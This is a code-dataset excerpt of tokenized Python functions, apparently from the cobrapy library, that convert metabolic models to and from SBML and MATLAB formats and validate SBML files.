cobra_model._sbml<EOL>if \"<STR_LIT>\" in meta:<EOL><INDENT>_sbase_annotations(doc, meta[\"<STR_LIT>\"])<EOL><DEDENT>if \"<STR_LIT>\" in meta:<EOL><INDENT>_sbase_notes_dict(doc, meta[\"<STR_LIT>\"])<EOL><DEDENT>history = libsbml.ModelHistory()  <EOL>if \"<STR_LIT>\" in meta and meta[\"<STR_LIT>\"]:<EOL><INDENT>history.setCreatedDate(meta[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>time = datetime.datetime.now()<EOL>timestr = time.strftime('<STR_LIT>')<EOL>date = libsbml.Date(timestr)<EOL>_check(history.setCreatedDate(date), '<STR_LIT>')<EOL>_check(history.setModifiedDate(date), '<STR_LIT>')<EOL><DEDENT>if \"<STR_LIT>\" in meta:<EOL><INDENT>for cobra_creator in meta[\"<STR_LIT>\"]:<EOL><INDENT>creator = libsbml.ModelCreator()  <EOL>if cobra_creator.get(\"<STR_LIT>\", None):<EOL><INDENT>creator.setFamilyName(cobra_creator[\"<STR_LIT>\"])<EOL><DEDENT>if cobra_creator.get(\"<STR_LIT>\", None):<EOL><INDENT>creator.setGivenName(cobra_creator[\"<STR_LIT>\"])<EOL><DEDENT>if cobra_creator.get(\"<STR_LIT>\", None):<EOL><INDENT>creator.setOrganisation(cobra_creator[\"<STR_LIT>\"])<EOL><DEDENT>if cobra_creator.get(\"<STR_LIT:email>\", None):<EOL><INDENT>creator.setEmail(cobra_creator[\"<STR_LIT:email>\"])<EOL><DEDENT>_check(history.addCreator(creator),<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>_check(model.setModelHistory(history), '<STR_LIT>')<EOL><DEDENT>if units:<EOL><INDENT>flux_udef = model.createUnitDefinition()  <EOL>flux_udef.setId(UNITS_FLUX[<NUM_LIT:0>])<EOL>for u in UNITS_FLUX[<NUM_LIT:1>]:<EOL><INDENT>unit = flux_udef.createUnit()  <EOL>unit.setKind(u.kind)<EOL>unit.setExponent(u.exponent)<EOL>unit.setScale(u.scale)<EOL>unit.setMultiplier(u.multiplier)<EOL><DEDENT><DEDENT>if len(cobra_model.reactions) > <NUM_LIT:0>:<EOL><INDENT>min_value = min(cobra_model.reactions.list_attr(\"<STR_LIT>\"))<EOL>max_value = max(cobra_model.reactions.list_attr(\"<STR_LIT>\"))<EOL><DEDENT>else:<EOL><INDENT>min_value = config.lower_bound<EOL>max_value = config.upper_bound<EOL><DEDENT>_create_parameter(model, pid=LOWER_BOUND_ID,<EOL>value=min_value, sbo=SBO_DEFAULT_FLUX_BOUND)<EOL>_create_parameter(model, pid=UPPER_BOUND_ID,<EOL>value=max_value, sbo=SBO_DEFAULT_FLUX_BOUND)<EOL>_create_parameter(model, pid=ZERO_BOUND_ID,<EOL>value=<NUM_LIT:0>, sbo=SBO_DEFAULT_FLUX_BOUND)<EOL>_create_parameter(model, pid=BOUND_MINUS_INF,<EOL>value=-float(\"<STR_LIT>\"), sbo=SBO_FLUX_BOUND)<EOL>_create_parameter(model, pid=BOUND_PLUS_INF,<EOL>value=float(\"<STR_LIT>\"), sbo=SBO_FLUX_BOUND)<EOL>for cid, name in iteritems(cobra_model.compartments):<EOL><INDENT>compartment = model.createCompartment()  <EOL>compartment.setId(cid)<EOL>compartment.setName(name)<EOL>compartment.setConstant(True)<EOL><DEDENT>for metabolite in cobra_model.metabolites:<EOL><INDENT>specie = model.createSpecies()  <EOL>mid = metabolite.id<EOL>if f_replace and F_SPECIE_REV in f_replace:<EOL><INDENT>mid = f_replace[F_SPECIE_REV](mid)<EOL><DEDENT>specie.setId(mid)<EOL>specie.setConstant(False)<EOL>specie.setBoundaryCondition(False)<EOL>specie.setHasOnlySubstanceUnits(False)<EOL>specie.setName(metabolite.name)<EOL>specie.setCompartment(metabolite.compartment)<EOL>s_fbc = specie.getPlugin(\"<STR_LIT>\")  <EOL>if metabolite.charge is not None:<EOL><INDENT>s_fbc.setCharge(metabolite.charge)<EOL><DEDENT>if metabolite.formula is not None:<EOL><INDENT>s_fbc.setChemicalFormula(metabolite.formula)<EOL><DEDENT>_sbase_annotations(specie, metabolite.annotation)<EOL>_sbase_notes_dict(specie, metabolite.notes)<EOL><DEDENT>for cobra_gene in cobra_model.genes:<EOL><INDENT>gp = model_fbc.createGeneProduct()  <EOL>gid = cobra_gene.id<EOL>if f_replace and F_GENE_REV in f_replace:<EOL><INDENT>gid = f_replace[F_GENE_REV](gid)<EOL><DEDENT>gp.setId(gid)<EOL>gname = cobra_gene.name<EOL>if gname is None or len(gname) == <NUM_LIT:0>:<EOL><INDENT>gname = gid<EOL><DEDENT>gp.setName(gname)<EOL>gp.setLabel(gid)<EOL>_sbase_annotations(gp, cobra_gene.annotation)<EOL>_sbase_notes_dict(gp, cobra_gene.notes)<EOL><DEDENT>objective = model_fbc.createObjective()  <EOL>objective.setId(\"<STR_LIT>\")<EOL>objective.setType(SHORT_LONG_DIRECTION[cobra_model.objective.direction])<EOL>model_fbc.setActiveObjectiveId(\"<STR_LIT>\")<EOL>reaction_coefficients = linear_reaction_coefficients(cobra_model)<EOL>for cobra_reaction in cobra_model.reactions:<EOL><INDENT>rid = cobra_reaction.id<EOL>if f_replace and F_REACTION_REV in f_replace:<EOL><INDENT>rid = f_replace[F_REACTION_REV](rid)<EOL><DEDENT>reaction = model.createReaction()  <EOL>reaction.setId(rid)<EOL>reaction.setName(cobra_reaction.name)<EOL>reaction.setFast(False)<EOL>reaction.setReversible((cobra_reaction.lower_bound < <NUM_LIT:0>))<EOL>_sbase_annotations(reaction, cobra_reaction.annotation)<EOL>_sbase_notes_dict(reaction, cobra_reaction.notes)<EOL>for metabolite, stoichiometry in iteritems(cobra_reaction._metabolites):  <EOL><INDENT>sid = metabolite.id<EOL>if f_replace and F_SPECIE_REV in f_replace:<EOL><INDENT>sid = f_replace[F_SPECIE_REV](sid)<EOL><DEDENT>if stoichiometry < <NUM_LIT:0>:<EOL><INDENT>sref = reaction.createReactant()  <EOL>sref.setSpecies(sid)<EOL>sref.setStoichiometry(-stoichiometry)<EOL>sref.setConstant(True)<EOL><DEDENT>else:<EOL><INDENT>sref = reaction.createProduct()  <EOL>sref.setSpecies(sid)<EOL>sref.setStoichiometry(stoichiometry)<EOL>sref.setConstant(True)<EOL><DEDENT><DEDENT>r_fbc = reaction.getPlugin(\"<STR_LIT>\")  <EOL>r_fbc.setLowerFluxBound(_create_bound(model, cobra_reaction,<EOL>\"<STR_LIT>\",<EOL>f_replace=f_replace, units=units,<EOL>flux_udef=flux_udef))<EOL>r_fbc.setUpperFluxBound(_create_bound(model, cobra_reaction,<EOL>\"<STR_LIT>\",<EOL>f_replace=f_replace, units=units,<EOL>flux_udef=flux_udef))<EOL>gpr = cobra_reaction.gene_reaction_rule<EOL>if gpr is not None and len(gpr) > <NUM_LIT:0>:<EOL><INDENT>if f_replace and F_GENE_REV in f_replace:<EOL><INDENT>gpr = gpr.replace('<STR_LIT:(>', '<STR_LIT>')<EOL>gpr = gpr.replace('<STR_LIT:)>', '<STR_LIT>')<EOL>tokens = gpr.split('<STR_LIT:U+0020>')<EOL>for k in range(len(tokens)):<EOL><INDENT>if tokens[k] not in ['<STR_LIT:U+0020>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:(>', '<STR_LIT:)>']:<EOL><INDENT>tokens[k] = f_replace[F_GENE_REV](tokens[k])<EOL><DEDENT><DEDENT>gpr_new = \"<STR_LIT:U+0020>\".join(tokens)<EOL><DEDENT>gpa = r_fbc.createGeneProductAssociation()  <EOL>gpa.setAssociation(gpr_new)<EOL><DEDENT>if reaction_coefficients.get(cobra_reaction, <NUM_LIT:0>) != <NUM_LIT:0>:<EOL><INDENT>flux_obj = objective.createFluxObjective()  <EOL>flux_obj.setReaction(rid)<EOL>flux_obj.setCoefficient(cobra_reaction.objective_coefficient)<EOL><DEDENT><DEDENT>if len(cobra_model.groups) > <NUM_LIT:0>:<EOL><INDENT>doc.enablePackage(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\", True)<EOL>doc.setPackageRequired(\"<STR_LIT>\", False)<EOL>model_group = model.getPlugin(\"<STR_LIT>\")  <EOL>for cobra_group in cobra_model.groups:<EOL><INDENT>group = model_group.createGroup()  <EOL>group.setId(cobra_group.id)<EOL>group.setName(cobra_group.name)<EOL>group.setKind(cobra_group.kind)<EOL>_sbase_notes_dict(group, cobra_group.notes)<EOL>_sbase_annotations(group, cobra_group.annotation)<EOL>for cobra_member in cobra_group.members:<EOL><INDENT>member = group.createMember()  <EOL>mid = cobra_member.id<EOL>m_type = str(type(cobra_member))<EOL>if \"<STR_LIT>\" in m_type:<EOL><INDENT>if f_replace and F_REACTION_REV in f_replace:<EOL><INDENT>mid = f_replace[F_REACTION_REV](mid)<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in m_type:<EOL><INDENT>if f_replace and F_SPECIE_REV in f_replace:<EOL><INDENT>mid = f_replace[F_SPECIE_REV](mid)<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in m_type:<EOL><INDENT>if f_replace and F_GENE_REV in f_replace:<EOL><INDENT>mid = f_replace[F_GENE_REV](mid)<EOL><DEDENT><DEDENT>member.setIdRef(mid)<EOL>if cobra_member.name and len(cobra_member.name) > <NUM_LIT:0>:<EOL><INDENT>member.setName(cobra_member.name)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return doc<EOL>", "docstring": "Convert Cobra model to SBMLDocument.\n\n    Parameters\n    ----------\n    cobra_model : cobra.core.Model\n        Cobra model instance\n    f_replace : dict of replacement functions\n        Replacement to apply on identifiers.\n    units : boolean\n        Should the FLUX_UNITS be written in the SBMLDocument.\n\n    Returns\n    -------\n    libsbml.SBMLDocument", "id": "f15889:m11"}
{"signature": "def _create_bound(model, reaction, bound_type, f_replace, units=None,<EOL>flux_udef=None):", "body": "value = getattr(reaction, bound_type)<EOL>if value == config.lower_bound:<EOL><INDENT>return LOWER_BOUND_ID<EOL><DEDENT>elif value == <NUM_LIT:0>:<EOL><INDENT>return ZERO_BOUND_ID<EOL><DEDENT>elif value == config.upper_bound:<EOL><INDENT>return UPPER_BOUND_ID<EOL><DEDENT>elif value == -float(\"<STR_LIT>\"):<EOL><INDENT>return BOUND_MINUS_INF<EOL><DEDENT>elif value == float(\"<STR_LIT>\"):<EOL><INDENT>return BOUND_PLUS_INF<EOL><DEDENT>else:<EOL><INDENT>rid = reaction.id<EOL>if f_replace and F_REACTION_REV in f_replace:<EOL><INDENT>rid = f_replace[F_REACTION_REV](rid)<EOL><DEDENT>pid = rid + \"<STR_LIT:_>\" + bound_type<EOL>_create_parameter(model, pid=pid, value=value, sbo=SBO_FLUX_BOUND,<EOL>units=units, flux_udef=flux_udef)<EOL>return pid<EOL><DEDENT>", "docstring": "Creates bound in model for given reaction.\n\n    Adds the parameters for the bounds to the SBML model.\n\n    Parameters\n    ----------\n    model : libsbml.Model\n        SBML model instance\n    reaction : cobra.core.Reaction\n        Cobra reaction instance from which the bounds are read.\n    bound_type : {LOWER_BOUND, UPPER_BOUND}\n        Type of bound\n    f_replace : dict of id replacement functions\n    units : flux units\n\n    Returns\n    -------\n    Id of bound parameter.", "id": "f15889:m12"}
{"signature": "def _create_parameter(model, pid, value, sbo=None, constant=True, units=None,<EOL>flux_udef=None):", "body": "parameter = model.createParameter()  <EOL>parameter.setId(pid)<EOL>parameter.setValue(value)<EOL>parameter.setConstant(constant)<EOL>if sbo:<EOL><INDENT>parameter.setSBOTerm(sbo)<EOL><DEDENT>if units:<EOL><INDENT>parameter.setUnits(flux_udef.getId())<EOL><DEDENT>", "docstring": "Create parameter in SBML model.", "id": "f15889:m13"}
{"signature": "def _check_required(sbase, value, attribute):", "body": "if (value is None) or (value == \"<STR_LIT>\"):<EOL><INDENT>msg = \"<STR_LIT>\" %(attribute, sbase)<EOL>if hasattr(sbase, \"<STR_LIT>\") and sbase.getId():<EOL><INDENT>msg += \"<STR_LIT>\" % sbase.getId()<EOL><DEDENT>elif hasattr(sbase, \"<STR_LIT>\") and sbase.getName():<EOL><INDENT>msg += \"<STR_LIT>\" % sbase.getName()<EOL><DEDENT>elif hasattr(sbase, \"<STR_LIT>\") and sbase.getMetaId():<EOL><INDENT>msg += \"<STR_LIT>\" % sbase.getName()<EOL><DEDENT>raise CobraSBMLError(msg)<EOL><DEDENT>return value<EOL>", "docstring": "Get required attribute from SBase.\n\n    Parameters\n    ----------\n    sbase : libsbml.SBase\n    value : existing value\n    attribute: name of attribute\n\n    Returns\n    -------\n    attribute value (or value if already set)", "id": "f15889:m14"}
{"signature": "def _check(value, message):", "body": "if value is None:<EOL><INDENT>LOGGER.error('<STR_LIT>'<EOL>'<STR_LIT>' + message + '<STR_LIT>')<EOL><DEDENT>elif type(value) is int:<EOL><INDENT>if value == libsbml.LIBSBML_OPERATION_SUCCESS:<EOL><INDENT>return<EOL><DEDENT>else:<EOL><INDENT>LOGGER.error('<STR_LIT>' + message + '<STR_LIT>')<EOL>LOGGER.error('<STR_LIT>'.format(str(value),<EOL>libsbml.OperationReturnValue_toString(value).strip()))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Checks the libsbml return value and logs error messages.\n\nIf 'value' is None, logs an error message constructed using\n  'message' and then exits with status code 1. If 'value' is an integer,\n  it assumes it is a libSBML return status code. If the code value is\n  LIBSBML_OPERATION_SUCCESS, returns without further action; if it is not,\n  prints an error message constructed using 'message' along with text from\n  libSBML explaining the meaning of the code, and exits with status code 1.", "id": "f15889:m15"}
{"signature": "def _parse_notes_dict(sbase):", "body": "notes = sbase.getNotesString()<EOL>if notes and len(notes) > <NUM_LIT:0>:<EOL><INDENT>pattern = r\"<STR_LIT>\"<EOL>matches = re.findall(pattern, notes)<EOL>d = {k.strip(): v.strip() for (k, v) in matches}<EOL>return {k: v for k, v in d.items() if len(v) > <NUM_LIT:0>}<EOL><DEDENT>else:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Creates dictionary of COBRA notes.\n\n    Parameters\n    ----------\n    sbase : libsbml.SBase\n\n    Returns\n    -------\n    dict of notes", "id": "f15889:m16"}
{"signature": "def _sbase_notes_dict(sbase, notes):", "body": "if notes and len(notes) > <NUM_LIT:0>:<EOL><INDENT>tokens = ['<STR_LIT>'] +[\"<STR_LIT>\".format(k, v) for (k, v) in notes.items()] +[\"<STR_LIT>\"]<EOL>_check(<EOL>sbase.setNotes(\"<STR_LIT:\\n>\".join(tokens)),<EOL>\"<STR_LIT>\".format(sbase)<EOL>)<EOL><DEDENT>", "docstring": "Set SBase notes based on dictionary.\n\n    Parameters\n    ----------\n    sbase : libsbml.SBase\n        SBML object to set notes on\n    notes : notes object\n        notes information from cobra object", "id": "f15889:m17"}
{"signature": "def _parse_annotations(sbase):", "body": "annotation = {}<EOL>if sbase.isSetSBOTerm():<EOL><INDENT>annotation[\"<STR_LIT>\"] = sbase.getSBOTermID()<EOL><DEDENT>cvterms = sbase.getCVTerms()<EOL>if cvterms is None:<EOL><INDENT>return annotation<EOL><DEDENT>for cvterm in cvterms:  <EOL><INDENT>for k in range(cvterm.getNumResources()):<EOL><INDENT>uri = cvterm.getResourceURI(k)<EOL>match = URL_IDENTIFIERS_PATTERN.match(uri)<EOL>if not match:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", uri)<EOL>continue<EOL><DEDENT>provider, identifier = match.group(<NUM_LIT:1>), match.group(<NUM_LIT:2>)<EOL>if provider in annotation:<EOL><INDENT>if isinstance(annotation[provider], string_types):<EOL><INDENT>annotation[provider] = [annotation[provider]]<EOL><DEDENT>if identifier not in annotation[provider]:<EOL><INDENT>annotation[provider].append(identifier)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>annotation[provider] = identifier<EOL><DEDENT><DEDENT><DEDENT>return annotation<EOL>", "docstring": "Parses cobra annotations from a given SBase object.\n\n    Annotations are dictionaries with the providers as keys.\n\n    Parameters\n    ----------\n    sbase : libsbml.SBase\n        SBase from which the SBML annotations are read\n\n    Returns\n    -------\n    dict (annotation dictionary)\n\n    FIXME: annotation format must be updated (this is a big collection of\n          fixes) - see: https://github.com/opencobra/cobrapy/issues/684)", "id": "f15889:m18"}
{"signature": "def _sbase_annotations(sbase, annotation):", "body": "if not annotation or len(annotation) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>annotation_data = deepcopy(annotation)<EOL>for key, value in annotation_data.items():<EOL><INDENT>if isinstance(value, (float, int)):<EOL><INDENT>value = str(value)<EOL><DEDENT>if isinstance(value, string_types):<EOL><INDENT>annotation_data[key] = [(\"<STR_LIT>\", value)]<EOL><DEDENT><DEDENT>for key, value in annotation_data.items():<EOL><INDENT>for idx, item in enumerate(value):<EOL><INDENT>if isinstance(item, string_types):<EOL><INDENT>value[idx] = (\"<STR_LIT>\", item)<EOL><DEDENT><DEDENT><DEDENT>meta_id = \"<STR_LIT>\".format(sbase.getId())<EOL>sbase.setMetaId(meta_id)<EOL>for provider, data in iteritems(annotation_data):<EOL><INDENT>if provider in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if provider == \"<STR_LIT>\":<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>sbo_term = data[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>_check(sbase.setSBOTerm(sbo_term),<EOL>\"<STR_LIT>\".format(sbo_term))<EOL>continue<EOL><DEDENT>for item in data:<EOL><INDENT>qualifier_str, entity = item[<NUM_LIT:0>], item[<NUM_LIT:1>]<EOL>qualifier = QUALIFIER_TYPES.get(qualifier_str, None)<EOL>if qualifier is None:<EOL><INDENT>qualifier = libsbml.BQB_IS<EOL>LOGGER.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(qualifier_str))<EOL><DEDENT>qualifier_type = libsbml.BIOLOGICAL_QUALIFIER<EOL>if qualifier_str.startswith(\"<STR_LIT>\"):<EOL><INDENT>qualifier_type = libsbml.MODEL_QUALIFIER<EOL><DEDENT>cv = libsbml.CVTerm()  <EOL>cv.setQualifierType(qualifier_type)<EOL>if qualifier_type == libsbml.BIOLOGICAL_QUALIFIER:<EOL><INDENT>cv.setBiologicalQualifierType(qualifier)<EOL><DEDENT>elif qualifier_type == libsbml.MODEL_QUALIFIER:<EOL><INDENT>cv.setModelQualifierType(qualifier)<EOL><DEDENT>else:<EOL><INDENT>raise CobraSBMLError('<STR_LIT>'<EOL>'<STR_LIT:%s>' % qualifier)<EOL><DEDENT>resource = \"<STR_LIT>\" % (URL_IDENTIFIERS_PREFIX, provider, entity)<EOL>cv.addResource(resource)<EOL>_check(sbase.addCVTerm(cv),<EOL>\"<STR_LIT>\".format(cv, resource))<EOL><DEDENT><DEDENT>", "docstring": "Set SBase annotations based on cobra annotations.\n\n    Parameters\n    ----------\n    sbase : libsbml.SBase\n        SBML object to annotate\n    annotation : cobra annotation structure\n        cobra object with annotation information\n\n    FIXME: annotation format must be updated\n        (https://github.com/opencobra/cobrapy/issues/684)", "id": "f15889:m19"}
{"signature": "def validate_sbml_model(filename,<EOL>check_model=True,<EOL>internal_consistency=True,<EOL>check_units_consistency=False,<EOL>check_modeling_practice=False, **kwargs):", "body": "<EOL>keys = (<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>)<EOL>errors = {key: [] for key in keys}<EOL>doc = _get_doc_from_filename(filename)  <EOL>doc.setConsistencyChecks(libsbml.LIBSBML_CAT_UNITS_CONSISTENCY,<EOL>check_units_consistency)<EOL>doc.setConsistencyChecks(libsbml.LIBSBML_CAT_MODELING_PRACTICE,<EOL>check_modeling_practice)<EOL>if internal_consistency:<EOL><INDENT>doc.checkInternalConsistency()<EOL><DEDENT>doc.checkConsistency()<EOL>for k in range(doc.getNumErrors()):<EOL><INDENT>e = doc.getError(k)  <EOL>msg = _error_string(e, k=k)<EOL>sev = e.getSeverity()<EOL>if sev == libsbml.LIBSBML_SEV_FATAL:<EOL><INDENT>errors[\"<STR_LIT>\"].append(msg)<EOL><DEDENT>elif sev == libsbml.LIBSBML_SEV_ERROR:<EOL><INDENT>errors[\"<STR_LIT>\"].append(msg)<EOL><DEDENT>elif sev == libsbml.LIBSBML_SEV_SCHEMA_ERROR:<EOL><INDENT>errors[\"<STR_LIT>\"].append(msg)<EOL><DEDENT>elif sev == libsbml.LIBSBML_SEV_WARNING:<EOL><INDENT>errors[\"<STR_LIT>\"].append(msg)<EOL><DEDENT><DEDENT>log_stream = StringIO()<EOL>stream_handler = logging.StreamHandler(log_stream)<EOL>formatter = logging.Formatter('<STR_LIT>')<EOL>stream_handler.setFormatter(formatter)<EOL>stream_handler.setLevel(logging.INFO)<EOL>LOGGER.addHandler(stream_handler)<EOL>LOGGER.propagate = False<EOL>try:<EOL><INDENT>model = _sbml_to_model(doc, **kwargs)<EOL><DEDENT>except CobraSBMLError as e:<EOL><INDENT>errors[\"<STR_LIT>\"].append(str(e))<EOL>return None, errors<EOL><DEDENT>except Exception as e:<EOL><INDENT>errors[\"<STR_LIT>\"].append(str(e))<EOL>return None, errors<EOL><DEDENT>cobra_errors = log_stream.getvalue().split(\"<STR_LIT:\\n>\")<EOL>for cobra_error in cobra_errors:<EOL><INDENT>tokens = cobra_error.split(\"<STR_LIT::>\")<EOL>error_type = tokens[<NUM_LIT:0>]<EOL>error_msg = \"<STR_LIT::>\".join(tokens[<NUM_LIT:1>:])<EOL>if error_type == \"<STR_LIT>\":<EOL><INDENT>errors[\"<STR_LIT>\"].append(error_msg)<EOL><DEDENT>elif error_type == \"<STR_LIT>\":<EOL><INDENT>errors[\"<STR_LIT>\"].append(error_msg)<EOL><DEDENT><DEDENT>LOGGER.removeHandler(stream_handler)<EOL>LOGGER.propagate = True<EOL>if check_model:<EOL><INDENT>errors[\"<STR_LIT>\"].extend(<EOL>check_metabolite_compartment_formula(model)<EOL>)<EOL><DEDENT>for key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if len(errors[key]) > <NUM_LIT:0>:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT>for key in [\"<STR_LIT>\"]:<EOL><INDENT>if len(errors[key]) > <NUM_LIT:0>:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT>for key in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if len(errors[key]) > <NUM_LIT:0>:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT>for key in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if len(errors[key]) > <NUM_LIT:0>:<EOL><INDENT>LOGGER.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>break<EOL><DEDENT><DEDENT>return model, errors<EOL>", "docstring": "Validate SBML model and returns the model along with a list of errors.\n\n    Parameters\n    ----------\n    filename : str\n        The filename (or SBML string) of the SBML model to be validated.\n    internal_consistency: boolean {True, False}\n        Check internal consistency.\n    check_units_consistency: boolean {True, False}\n        Check consistency of units.\n    check_modeling_practice: boolean {True, False}\n        Check modeling practise.\n    check_model: boolean {True, False}\n        Whether to also check some basic model properties such as reaction\n        boundaries and compartment formulas.\n\n    Returns\n    -------\n    (model, errors)\n    model : :class:`~cobra.core.Model.Model` object\n        The cobra model if the file could be read successfully or None\n        otherwise.\n    errors : dict\n        Warnings and errors grouped by their respective types.\n\n    Raises\n    ------\n    CobraSBMLError", "id": "f15889:m20"}
{"signature": "def _error_string(error, k=None):", "body": "package = error.getPackage()<EOL>if package == '<STR_LIT>':<EOL><INDENT>package = '<STR_LIT>'<EOL><DEDENT>template = '<STR_LIT>'<EOL>error_str = template.format(k, error.getSeverityAsString(),<EOL>error.getCategoryAsString(), package,<EOL>error.getLine(), error.getShortMessage(),<EOL>error.getMessage())<EOL>return error_str<EOL>", "docstring": "String representation of SBMLError.\n\n    Parameters\n    ----------\n    error : libsbml.SBMLError\n    k : index of error\n\n    Returns\n    -------\n    string representation of error", "id": "f15889:m21"}
{"signature": "def _get_id_compartment(id):", "body": "bracket_search = _bracket_re.findall(id)<EOL>if len(bracket_search) == <NUM_LIT:1>:<EOL><INDENT>return bracket_search[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>underscore_search = _underscore_re.findall(id)<EOL>if len(underscore_search) == <NUM_LIT:1>:<EOL><INDENT>return underscore_search[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>return None<EOL>", "docstring": "extract the compartment from the id string", "id": "f15890:m0"}
{"signature": "def _cell(x):", "body": "x_no_none = [i if i is not None else \"<STR_LIT>\" for i in x]<EOL>return array(x_no_none, dtype=np_object)<EOL>", "docstring": "translate an array x into a MATLAB cell array", "id": "f15890:m1"}
{"signature": "def load_matlab_model(infile_path, variable_name=None, inf=inf):", "body": "if not scipy_io:<EOL><INDENT>raise ImportError('<STR_LIT>')<EOL><DEDENT>data = scipy_io.loadmat(infile_path)<EOL>possible_names = []<EOL>if variable_name is None:<EOL><INDENT>meta_vars = {\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"}<EOL>possible_names = sorted(i for i in data if i not in meta_vars)<EOL>if len(possible_names) == <NUM_LIT:1>:<EOL><INDENT>variable_name = possible_names[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>if variable_name is not None:<EOL><INDENT>return from_mat_struct(data[variable_name], model_id=variable_name,<EOL>inf=inf)<EOL><DEDENT>for possible_name in possible_names:<EOL><INDENT>try:<EOL><INDENT>return from_mat_struct(data[possible_name], model_id=possible_name,<EOL>inf=inf)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise IOError(\"<STR_LIT>\")<EOL>", "docstring": "Load a cobra model stored as a .mat file\n\n    Parameters\n    ----------\n    infile_path: str\n        path to the file to to read\n    variable_name: str, optional\n        The variable name of the model in the .mat file. If this is not\n        specified, then the first MATLAB variable which looks like a COBRA\n        model will be used\n    inf: value\n        The value to use for infinite bounds. Some solvers do not handle\n        infinite values so for using those, set this to a high numeric value.\n\n    Returns\n    -------\n    cobra.core.Model.Model:\n        The resulting cobra model", "id": "f15890:m2"}
{"signature": "def save_matlab_model(model, file_name, varname=None):", "body": "if not scipy_io:<EOL><INDENT>raise ImportError('<STR_LIT>')<EOL><DEDENT>if varname is None:<EOL><INDENT>varname = str(model.id)if model.id is not None and len(model.id) > <NUM_LIT:0>else \"<STR_LIT>\"<EOL><DEDENT>mat = create_mat_dict(model)<EOL>scipy_io.savemat(file_name, {varname: mat},<EOL>appendmat=True, oned_as=\"<STR_LIT>\")<EOL>", "docstring": "Save the cobra model as a .mat file.\n\n    This .mat file can be used directly in the MATLAB version of COBRA.\n\n    Parameters\n    ----------\n    model : cobra.core.Model.Model object\n        The model to save\n    file_name : str or file-like object\n        The file to save to\n    varname : string\n       The name of the variable within the workspace", "id": "f15890:m3"}
{"signature": "def create_mat_dict(model):", "body": "rxns = model.reactions<EOL>mets = model.metabolites<EOL>mat = OrderedDict()<EOL>mat[\"<STR_LIT>\"] = _cell([met_id for met_id in create_mat_metabolite_id(model)])<EOL>mat[\"<STR_LIT>\"] = _cell(mets.list_attr(\"<STR_LIT:name>\"))<EOL>mat[\"<STR_LIT>\"] = _cell([str(m.formula) for m in mets])<EOL>try:<EOL><INDENT>mat[\"<STR_LIT>\"] = array(mets.list_attr(\"<STR_LIT>\")) * <NUM_LIT:1.><EOL><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT>mat[\"<STR_LIT>\"] = _cell(model.genes.list_attr(\"<STR_LIT:id>\"))<EOL>rxn_gene = scipy_sparse.dok_matrix((len(model.reactions),<EOL>len(model.genes)))<EOL>if min(rxn_gene.shape) > <NUM_LIT:0>:<EOL><INDENT>for i, reaction in enumerate(model.reactions):<EOL><INDENT>for gene in reaction.genes:<EOL><INDENT>rxn_gene[i, model.genes.index(gene)] = <NUM_LIT:1><EOL><DEDENT><DEDENT>mat[\"<STR_LIT>\"] = rxn_gene<EOL><DEDENT>mat[\"<STR_LIT>\"] = _cell(rxns.list_attr(\"<STR_LIT>\"))<EOL>mat[\"<STR_LIT>\"] = _cell(rxns.list_attr(\"<STR_LIT:id>\"))<EOL>mat[\"<STR_LIT>\"] = _cell(rxns.list_attr(\"<STR_LIT:name>\"))<EOL>mat[\"<STR_LIT>\"] = _cell(rxns.list_attr(\"<STR_LIT>\"))<EOL>stoich_mat = create_stoichiometric_matrix(model)<EOL>mat[\"<STR_LIT:S>\"] = stoich_mat if stoich_mat is not None else [[]]<EOL>mat[\"<STR_LIT>\"] = array(rxns.list_attr(\"<STR_LIT>\")) * <NUM_LIT:1.><EOL>mat[\"<STR_LIT>\"] = array(rxns.list_attr(\"<STR_LIT>\")) * <NUM_LIT:1.><EOL>mat[\"<STR_LIT:b>\"] = array(mets.list_attr(\"<STR_LIT>\")) * <NUM_LIT:1.><EOL>mat[\"<STR_LIT:c>\"] = array(rxns.list_attr(\"<STR_LIT>\")) * <NUM_LIT:1.><EOL>mat[\"<STR_LIT>\"] = array(rxns.list_attr(\"<STR_LIT>\")) * <NUM_LIT:1><EOL>mat[\"<STR_LIT:description>\"] = str(model.id)<EOL>return mat<EOL>", "docstring": "create a dict mapping model attributes to arrays", "id": "f15890:m5"}
